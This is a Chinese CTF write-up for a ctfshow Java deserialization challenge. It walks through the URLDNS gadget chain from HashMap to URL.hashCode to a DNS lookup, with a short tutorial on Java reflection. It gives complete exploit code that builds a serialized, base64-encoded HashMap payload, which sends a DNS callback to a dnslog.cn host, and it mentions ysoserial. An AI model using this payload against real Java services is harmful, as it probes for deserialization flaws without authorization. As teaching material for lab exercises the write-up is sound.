1
2
3
ctfshow会对你post提交的ctfshow参数进行base64解码
然后进行反序列化
构造出对当前题目地址的dns查询即可获得flag

链子

  1. HashMap->readObject()
  2. HashMap->hash()
  3. URL->hashCode()
  4. URLStreamHandler->hashCode()
  5. URLStreamHandler->getHostAddress()
  6. InetAddress->getByName()

入口类选择

1
2
3
4
5
实现Serializable接口;
重写readObject方法,
调用一个常见的函数;
接收参数类型宽泛;
最好JDK自带;

本链入口类为**java.util.HashMap**

首先hashmap实现了Serializable接口

image-20250219160303546

因为**HashMap<K,V>存储数据采用的哈希表结构,元素的存取顺序不能保证一致。由于要保证键的唯一、不重复,在反序列化过程中就需要对Key进行hash,这样一来就需要重写readObject**方法。

image-20250219160458773

调用了**hash函数,根据key产生hash。跟进hash()函数,可以看到,这里使用传入参数对象keyhashCode**方法。

image-20250219160830209

最后寻找执行类

image-20250219161407077

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package com.exp;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class Main {

public static void main(String[] args) throws Exception{

HashMap h=new HashMap();
URL url=new URL("http://c33test.trj7m6.dnslog.cn");
Class cls=Class.forName("java.net.URL");
Field f = cls.getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url,1); //为了防止在serialize的时候就产生了url请求
h.put(url,1);
f.set(url,-1);

ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("seri.bin"));
oos.writeObject(h);

}
}

使用反射修改 URLhashCode

不会反射的把这部分看懂就会了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;

public class fanshe {
private String name;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}


public static void main(String[] args) throws Exception {
//正常的调用
fanshe testObj = new fanshe();
testObj.setName("tom");
System.out.println("Obj name:" + testObj.getName());
//使用反射调用
Class clz = Class.forName("fanshe");
Method setNameMethod = clz.getMethod("setName", String.class);
Constructor testConstructor = clz.getConstructor();
Object testObj1 = testConstructor.newInstance();
setNameMethod.invoke(testObj1, "tom");
Method getNameMethod = clz.getMethod("getName");
System.out.println("Obj name:" + getNameMethod.invoke(testObj1));
}
}

hashcaode置0置1前面学习过,简单概述一下

URLhashCode() 方法默认情况下会解析 DNS

置1为了防止序列化过程中发送网络请求
set时为-1为了保证反序列化过程中触发DNS解析

那么对于此处例题只需要略微修改即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package com.exp;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;

public class Main {

public static void main(String[] args) throws Exception{

HashMap h=new HashMap();
URL url=new URL("http://484bd69e-839a-4ce1-9a9a-e285d3af0283.challenge.ctf.show/");
Class cls=Class.forName("java.net.URL");
Field f = cls.getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url,1); //为了防止在serialize的时候就产生了url请求
h.put(url,1);
f.set(url,-1);

// ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("seri.bin"));
// oos.writeObject(h);

ByteArrayOutputStream b = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(b);
oos.writeObject(h);
byte[] bytes = b.toByteArray();

Base64.Encoder encoder = Base64.getEncoder();
String exp = encoder.encodeToString(bytes);
System.out.println(exp);


}
}

image-20250219163807632

image-20250219160108801

或者使用ysoserial

image-20250219163828882